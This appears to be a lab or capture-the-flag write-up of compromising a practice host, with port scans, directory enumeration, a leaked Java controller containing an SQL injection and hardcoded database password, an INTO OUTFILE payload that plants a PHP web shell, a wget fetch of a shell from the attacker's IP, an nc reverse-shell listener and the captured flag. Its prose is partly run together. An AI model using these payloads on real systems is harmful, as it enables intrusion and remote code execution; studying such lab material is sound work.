

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.233.147 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.233.147:22
Open 192.168.233.147:17445
Open 192.168.233.147:30455
Open 192.168.233.147:50080

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 8.4 (protocol 2.0)
17445/tcp open  unknown syn-ack
30455/tcp open  http    syn-ack nginx 1.18.0
|_ http-server-header: nginx/1.18.0
|_ http-title: W3.CSS
|_ http-methods:
|_ Supported Methods: GET HEAD POST
50080/tcp open  http    syn-ack Apache httpd 2.4.46 ((Unix) PHP/7.4.15)
|_ http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
|_ http-title: W3.CSS Template
|_ http-server-header: Apache/2.4.46 (Unix) PHP/7.4.15
1 service unrecognized despite returning data. If you know the service/version, please submit the
following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
``` `dirsearch`
```

```
(kali㉿kali)-[~/pgplay]
└─$ dirsearch -u http://192.168.233.147:50080

[23:01:55] 301 - 239B - /4 -> http://192.168.233.147:50080/4/
[23:02:04] 301 - 243B - /cloud -> http://192.168.233.147:50080/cloud/
[23:02:05] 302 - 0B - /cloud/ -> http://192.168.233.147:50080/cloud/index.php/login
[23:02:08] 403 - 994B - /error/
[23:02:11] 301 - 244B - /images -> http://192.168.233.147:50080/images/
[23:02:11] 200 - 1KB - /images/
``` buster
```

```

(kali㉿kali)-[~/pgplay]
└─$ gobuster dir -u http://192.168.233.147:30455 -w /home/kali/SecLists/Discovery/Web-Content/common.txt

=====
Starting gobuster in directory enumeration mode
=====

/4 (Status: 301) [Size: 169] [--> http://192.168.233.147:30455/4/]
/index.php (Status: 200) [Size: 3356]
/phpinfo.php (Status: 200) [Size: 68608]
Progress: 4727 / 4727 (100.00%)
``` `http://192.168.233.147:50080/cloud`,canuse`admin/admin`login,log
indownload`issuetracker.zip`,Check`/issuetracker/src/main/java/com/issue/tracker/issues/IssueController.java`
```java
@GetMapping("/issue/checkByPriority")
    public String checkByPriority(@RequestParam("priority") String priority, Model model) {
        //
        // Custom code, need to integrate to the JPA
        //
        Properties connectionProps = new Properties();
        connectionProps.put("user", "issue_user");
        connectionProps.put("password", "ManagementInsideOld797");
        try {
            conn =
DriverManager.getConnection("jdbc:mysql://localhost:3306/issue_tracker",connectionProps);
            String query = "SELECT message FROM issue WHERE priority='"+priority+"'";
            System.out.println(query);
            Statement stmt = conn.createStatement();
            stmt.executeQuery(query);

        } catch (SQLException e1) {
            // TODO Auto-generated catch block
            e1.printStackTrace();
        }
    }
``` Check`http://192.168.233.147:30455/phpinfo.php`get ```
$_SERVER['DOCUMENT_ROOT'] /srv/http
``` Check`http://192.168.233.147:17445`,use`admin/admin`login,log
inCheck`http://192.168.233.147:17445/issue/checkByPriority`useburpsuiteCheck,find`status
code`405`,`POST`can400

```

Request

GET /issue/checkByPriority HTTP/1.1

Response

HTTP/1.1 405

<div>There was an unexpected error (type=Method Not Allowed, status=405).</div>

' union select '<?php system(\$_GET["cmd"]); ?>' into outfile '/srv/http/cmd.php' #

Request

POST /issue/checkByPriority?

priority=%27%20union%20select%20%27%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%27%20ir
HTTP/1.1

Response

HTTP/1.1 200

Go to `http://192.168.233.147:30455/cmd.php?cmd=whoami`get
root

192.168.233.147:30455/cmd.php?cmd=wget%20192.168.45.179:17445/shell.php

```

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp22

```

<http://192.168.233.147:30455/shell.php>

sh-5.1# cat proof.txt

71e6c676f814fc5140d87f54e1228ec2
